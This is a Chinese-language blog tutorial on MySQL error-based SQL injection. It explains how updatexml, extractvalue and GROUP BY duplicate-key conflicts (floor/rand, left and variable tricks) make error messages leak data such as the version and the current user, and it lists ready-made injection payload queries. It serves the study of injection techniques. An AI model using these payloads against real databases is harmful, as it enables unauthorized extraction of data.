• MySQL显错注入


    一,updatexml函数

    函数简介

    UpdateXML(xml_target, xpath_expr, new_xml)

    • xml_target xml文档片段
    • xpath_expr 匹配修改内容的Xpath表达式
    • new_xml 新的xml片段

    该函数将XML标记xml_target的给定片段的单个部分替换为新的XML片段new_xml,然后返回更改后的XML。被替换的xml_target部分与用户提供的XPath表达式xpath_expr匹配。
    说白了,就是用来修改xml文档的内容

    报错原理

    因为xpath_expr参数必须是遵守Xpath语法的Xpath表达式,当该参数的值不满足Xpath语法时就会触发错误。
    例如:
    select updatexml(1,(select @@version),1);

    可以看到数据库返回了错误信息,其中包含具体的参数值。但是这里的并不是我们想要的完整值。因为值的前一部分满足了Xpath语法,错误信息只返回了不满足语法而触发错误的部分。
    因此updatexml函数常常结合concat函数一起使用,在参数值前拼接一个不满足Xpath语法的字符来获取完整数据。
    例如:
    select updatexml(1,(concat(0x7c,(select @@version))),1);

    二,extractvalue函数

    函数简介

    ExtractValue(xml_frag, xpath_expr)

    • xml_frag xml文档片段
    • xpath_expr 匹配提取目标的Xpath表达式

    ExtractValue()接受两个字符串参数,一个XML标记xml_frag片段和一个XPath表达式xpath_expr(也称为定位器);它返回第一个文本节点的文本(CDATA),该文本节点是元素或与XPath表达式匹配的元素的子元素。
    根据xpath_expr提供的表达式在xml_frag中匹配对应的节点并返回其元素或子元素。(从xml文档提取数据)

    报错原理

    与updatexml一样xpath_expr参数的值需要满足Xpath语法。
    例如:
    select extractvalue(1,concat(0x7c,(select user())));

    三,GROUP BY重复键冲突

    原理

    参考:https://www.cnblogs.com/richardlee97/p/10617115.html
    https://www.cnblogs.com/wangtanzhi/p/12577891.html#autoid-1-8-0

    floor函数触发错误

    select count(*),concat(floor(rand(0)*2),(select user()))a from information_schema.tables group by a;

    left函数触发错误

    select concat(left(rand(),3),'^',(select version()),'^')a,count(*) from information_schema.tables group by a
    注:添加‘^’是为了区分函数产生的随机值和返回的数据

    还有类似left或floor也能触发,比如round这里不再列举

    不依赖具体的表

    select concat('',user(),'',floor(rand()*2))x,count(*) from (select 1 union select null union select !1)a group by x;

    注:此方法有概率不会触发错误,请多次尝试

    不使用rand() count()函数

    select min(@a:=1) from information_schema.tables group by concat('',user(),'',@a:=(@a+1)%2);

    不依赖额外的函数和具体的表

    select min(@a:=1) from (select 1 union select null union select !1)a group by concat('',user(),'',@a:=(@a+1)%2);

  • 相关阅读:
    Tensorflow API解读
    《deep learning book》-- 引言
    算法导论--第一部分(基础知识)
    leetcode解题笔记--part1--array
    TensorFlow实战--阅读笔记part4
    TensorFlow实战--阅读笔记part3
    Pro Git阅读笔记--part1
    TensorFlow实战--阅读笔记part2
    周长最长分析
    VC维含义的个人理解
  • 原文地址:https://www.cnblogs.com/a-qi/p/13531616.html
Copyright © 2020-2023  润新知